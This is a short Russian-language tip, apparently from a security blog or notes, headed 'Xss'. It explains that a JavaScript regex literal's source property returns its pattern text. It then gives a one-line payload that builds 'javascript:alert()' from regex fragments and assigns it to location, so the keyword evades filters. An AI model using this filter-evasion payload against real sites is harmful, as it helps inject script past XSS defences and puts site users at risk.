Xss

Синтаксис выражений в js выглядит скажем так: /pattern/flags.

Но помимо флагов, можно вернуть исходный текст шаблона с помощью свойства source. 

 

А теперь скрываем javascript:alert() от всякой херни:

 

location=/jav/.source+/ascript/.source+/:/.source+/alert/.source+/``/.source